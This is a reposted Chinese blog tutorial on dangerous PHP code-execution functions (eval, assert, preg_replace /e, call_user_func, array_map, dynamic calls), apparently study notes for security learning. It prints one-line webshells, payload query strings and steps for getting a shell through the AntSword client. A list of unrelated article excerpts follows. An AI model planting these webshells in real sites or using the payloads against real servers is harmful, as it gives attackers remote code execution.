PHP 危险函数2-代码执行语句

news2024/11/15 23:24:51

代码执行语句

eval()

  • 不是函数,不能被动态调用,并且需要以 ;结束

  • 直接输出,不执行

    <?php
        $code="phpinfo();";
    	echo $code;
        ?>
    

    image-20231025141518170

  • eval() 语句执行

    <?php
        $code="phpinfo();";
    	eval($code);      // eval 不是函数,最后要加 ;
        ?>
    

    image-20231025141559421

  • 动态执行

    <?php
        $code=$_REQUEST["code"];
    	eval($code);
        ?>
    

    image-20231025142152024

  • 一句话木马

    <?php
        eval($_REQUEST["code"]);
        ?>
    

    image-20231025165821879

    蚁剑执行命令

    image-20231025165526577

  • 其他执行方式

    ?code=phpinfo();
    
    ?code=${phpinfo()};
    
    ?code=echo abc;phpinfo();
    
    ?code=?>this is a test<?php phpinfo();
    
    ?code=eval(phpinfo());
    

assert()

  • 高版本中删除了 assert()

  • 使用方法

    <?php
    	assert("<执行语句>");
        ?>
    
  • 调用系统函数

    image-20231025154512624

  • 动态调用

    <?php
        $code=$_REQUEST["code"];
    	assert($code);
        ?>
    

    image-20231025154349691

  • 蚁剑连接

    image-20231025172351832

preg_replace()

  • 正则匹配,替换

  • 替换字符,忽略大小写

    <?php
        $code=preg_replace("/a/i","e","abAcd");
    	//  "//"两个斜线中的为正则表达式,后面跟选项i,表示不区分大小写
    	// 此处将 abAcd 中无论大小写的 a 全替换成 e
    	echo $code;
        ?>
    

    image-20231025155120906

    <?php
        $code=preg_replace("/\[.*\]/i","e","[abcde]");
    	//  "//"两个斜线中的未正则表达式,后面跟选项i,表示不区分大小写
    	//  \ 用来进行转义
    	//  .* 表示全部内容
    	// 此处将 [abede] 包括中括号,替换成 e
    	echo $code;
        ?>
    

    image-20231025155308701

    $code= preg_replace("/\[(.*)\]/i","e","[phpinfo()]");
    // 匹配方括号中的任意字符序列,并将其替换为字母 "e"。所以,"[phpinfo()]" 会被替换为 "e"。最终,变量 $code 的值将是 "e"。
    
  • 捕获 [] 中的内容

    <?php
        $code= preg_replace("/\[(.*)\]/i","\\1","[phpinfo()]");
    		\\1 第一次匹配的不明确的字符(此处为 phpinfo())
    
    
    	//		\[(.*)\] 是正则表达式的模式,用于匹配方括号 [ 和 ] 之间的任意字符序列,并将其作为捕获组。
    	//		\[ 匹配左方括号 [。
    	//		(.*) 匹配任意字符序列,并将其作为捕获组。
    	//		\] 匹配右方括号 ]。
    	//		"\\1" 是替换字符串,其中 \\1 表示引用第一个捕获组的内容。
    	//		将目标字符串 "[phpinfo()]" 中的方括号及其内部的任意字符序列替换为捕获组中的内容。在这个例子中,捕获组中的内容是 "phpinfo()",所以最终 $code 的值将是 "phpinfo()"。
    	echo $code;
        ?>
    

    image-20231025163105920

  • 执行捕获的 [] 中的内容

    <?php
        $code= preg_replace("/\[(.*)\]/ie","\\1","[phpinfo()]");
        //	\\1 第一次匹配的不明确的字符(此处为 phpinfo())
        // 此处的参数 e 会将匹配出的不明确字符执行
    	echo $code;
        ?>
    

    image-20231025163213177

回调函数

  • 可以调用其他函数的函数
  • call_user_func()、array_map()
  • eval()、isset() 等为语言结构,不是函数,不能被回调

call_user_func()

  • 使用

    <?php
    	call_user_func(<调用的函数>,<要传的参数>);
        ?>
    
  • <?php
        $func="assert";
    	$code="phpinfo()";
    	call_user_func($func,$code);
        ?>
    

    image-20231025145510715

  • 动态执行

    <?php
        $func=$_REQUEST["func"];
    	$code=$_REQUEST["code"];
    	call_user_func($func,$code);
        ?>
    

    image-20231025145244245

    image-20231025145339107

  • 连接蚁剑

    image-20231025174346683

array_map()

  • 第二个参数必须是数组

  • 使用

    <?php
        $func=$_REQUEST["func"];
    	$code[]="phpinfo()";
    	array_map($func,$code);
        ?>
    

    image-20231025164157955

  • 动态执行

    <?php
        $func=$_REQUEST["func"];
    	$code=$_REQUEST["code"];
    	array_map($func,$code);
        ?>
    

    image-20231025174743867

动态函数

  • 在 php 中写入最简单的后门函数

    <?php
        $_GET['a']($_GET['b']);
        ?>
    

    访问此 php 页面

    image-20231024110739759

    修改传参,成功执行命令

    image-20231024110854862

蚁剑连接

  • eval 为一种语言结构,而非函数,不能动态调用

  • 可以将 assert 当作 a 的参数,b 的参数为一句话木马,连接蚁剑

    • 蚁剑为 POST 传参,需要将传参方式设置为 $_POST$_REQUEST

      <pre>
      <?php
          $_GET['a']($_REQUEST['b']);
          ?>
      

  • 蚁剑连接

    输入传参后的 url

    注意

    assert 一次只能传递一个参数,传递多个参数时需要对传参进行编码

    连接密码为 $_REQUEST['b'] 中的 b

    image-20231024172526535

  • 获取 shell

    image-20231024172714987

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1133387.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

高压功率放大器在压电换能器中的作用

压电换能器是一种重要的电子设备&#xff0c;主要用于将机械振动转化为电信号或将电信号转化为机械振动。高压功率放大器作为其重要组成部分之一&#xff0c;主要用于提供高电压、高功率的信号驱动压电换能器进行工作。下面安泰电子将详细介绍高压功率放大器在压电换能器中的作…

“简单易学:视频批量添加文字水印的技巧大公开“

如果你是一个视频制作爱好者&#xff0c;那么今天我要分享的技巧将对你非常有帮助。通过使用“固乔剪辑助手”软件&#xff0c;你可以轻松地批量添加文字水印到你的视频中。下面&#xff0c;让我们一起来揭秘这个技巧吧&#xff01; 首先&#xff0c;你需要下载并安装“固乔剪辑…

父子项目打包发布至私仓库

父子项目打包发布至私仓库 1、方法一 在不需要发布至私仓的模块上添加如下代码&#xff1a; <plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-deploy-plugin</artifactId><configuration><skip>true</s…

ICLR 2023丨3DSQA:3D 场景中的情景问答

来源&#xff1a;投稿 作者&#xff1a;橡皮 编辑&#xff1a;学姐 论文链接&#xff1a;https://arxiv.org/pdf/2210.07474.pdf 主页链接&#xff1a;http://sqa3d.github.io 图 1&#xff1a;3D 场景中情景问答 (SQA3D) 的任务图示。给定场景上下文 S&#xff08;例如&#…

光致发光荧光量子检测的作用

光致发光荧光量子检测是一种测试技术&#xff0c;可以用来测量荧光材料的荧光光谱、荧光量子效率和发光寿命等参数&#xff0c;具有高灵敏度、高分辨率和自动化程度高等优点。 光致发光荧光量子检测的应用范围广泛&#xff0c;可以应用于材料科学、生物科学、医学、光学器件、能…

【C】想动态分配内存?动态内存管理了解一下

目录 一、为什么存在动态内存分配 二、动态内存函数的介绍 1.malloc和free 2.calloc 3.realloc 三、常见的动态内存错误 1 对NULL指针的解引用操作 2 .对动态开辟空间的越界访问 3.对非动态开辟内存使用free释放 4.使用free释放一块动态开辟内存的一部分 5.对同一块动态…

730. 机器人跳跃问题--二分

题目&#xff1a; 730. 机器人跳跃问题 - AcWing题库 思路&#xff1a; 二分 1.当起始能量E大于最大建筑高度1e5 时&#xff0c;E的能量在整个条约过程中全程递增&#xff0c;则大于E的初始能量也必然成立&#xff08;满足二段性&#xff09;。故最小初始能量范围为[0,1e5]&a…

会声会影2023电脑破解版视频剪辑工具

本次更新不仅带来了标题动作、标题特效、转场特效、音频标记等功能的更新&#xff0c;也增强了热门的GIF创作器、定格动画制作、多语字幕、短时长转场等功能&#xff0c;让大家能体验到更加新潮的视频制作方式。会声会影2023是一款视频编辑软件&#xff0c;由Corel开发。该软件…

【Linux】Centos 8 服务器部署:阿里云域名申请免费 SSL 证书详细教程

目录 一、免费申请 SSL 证书 &#xff08;1&#xff09;打开阿里云SSL证书页面 &#xff08;2&#xff09;SSL 证书 - 免费证书&#xff08;立即购买&#xff09; &#xff08;3&#xff09;SSL 证书 - 免费证书&#xff08;创建证书&#xff09; &#xff08;4&#xff…

Path Gain and Channel Capacity for HAP-to-HAP Communications

文章目录 摘要实验仿真场景一&#xff1a; 距离变化对同海拔高度HAP的影响场景二&#xff1a;距离变化对不同海拔高度HAP通信的影响。场景三&#xff1a;平台高度和频率对HAP通信的影响四 信道容量 摘要 在这项研究中&#xff0c;我们重点分析了HAP之间的信道模型&#xff0c;…

php伪协议详解

php:// — 访问各个输入/输出流&#xff08;I/O streams&#xff09; PHP 提供了一些杂项输入/输出&#xff08;IO&#xff09;流&#xff0c;允许访问 PHP 的输入输出流、标准输入输出和错误描述符&#xff0c; 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源…

C++前缀和算法的应用:分割数组的最多方案数 原理源码测试用例

本文涉及的基础知识点 C算法&#xff1a;前缀和、前缀乘积、前缀异或的原理、源码及测试用例 包括课程视频 题目 给你一个下标从 0 开始且长度为 n 的整数数组 nums 。分割 数组 nums 的方案数定义为符合以下两个条件的 pivot 数目&#xff1a; 1 < pivot < n nums[0]…

区块链外包开发需要注意的问题

在进行区块链外包开发时&#xff0c;有一些关键问题需要特别注意&#xff0c;以确保项目的成功和质量。以下是一些需要考虑的问题&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司&#xff0c;欢迎交流合作。 1.明确的需求和目标&…

公众号视频怎么下载,3个方法教你如何操作!

公众号视频怎么下载&#xff0c;今天教你如何操作下载公众号视频&#xff0c;废话不多说&#xff0c;看教程 关于分享的教程我们分享一下三种方法 1&#xff1a;公众号视频查看源代码 2&#xff1a;获取公众号小助手下载公众号视频 3&#xff1a;QQ浏览器下载法 公众号视频…

C盘满了怎么清理文件?

电脑的C盘是我们电脑存储系统文件和应用程序的一个重要盘符&#xff0c;很多人经常会遇到C盘空间不足的问题&#xff1b;虽然我们可以通过卸载程序或者删除文件来释放空间&#xff0c;但是在这个过程中往往会误删掉一些重要的文件&#xff0c;造成部分程序可能无法正常使用。 因…

python 连接oracle数据库的过程步骤(亲测有效)--windows

目录 1. 安装 cx_Oracle 模块 2. 安装 oracle 客户端 3. 连接 oracle数据库 连接oracle数据库的过程中遇到很多问题&#xff0c;不过好在一一解决了&#xff0c;特地将解决问题的过程记录下来供友友们参考~ 1. 安装 cx_Oracle 模块 具体可参考 PyCharm 安装 cx_Oracle 失败…

急需一个免费又实用的配音软件~

做自媒体的朋友肯定需要用到大量的文案配音&#xff0c;又不想自己配&#xff0c;就只能在网上找AI配音的小程序、网站和软件&#xff0c;可是找了&#xff0c;又有很多效果不好&#xff0c;情绪单调。 不过没关系&#xff0c;今天我将为大家介绍一款超实用的配音网站&#xf…

【Unity程序技巧】2D音乐中心管理器

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;元宇宙-秩沅 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 秩沅 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a;Uni…

MII,RMII,GMII,RGMII区别

一、MII,GMII为百兆网口 1.MII ①引脚接线图 ②引脚定义 2.GMII ①引脚接线图 ②引脚定义 二、GMII,RGMII为千兆网口 1.GMII ①GMII引脚接线图 ②GMII引脚定义 2.RGMII ①RGMII引脚接线图 ②RGMII引脚定义 三、PCB走线注意 ① RGMII 模式下&#xff0c;MAC 的 RXD0&a…

WireShark使用入门

背景 Wireshark&#xff0c;又被称为网络封包分析软件&#xff0c;是一种开源且功能十分强大的工具。该工具的主要功能是截取各种网络封包&#xff0c;并尽可能显示出最为详细的网络封包资料。它使用WinPCAP作为接口&#xff0c;直接与网卡进行数据报文交换。 Wireshark支持W…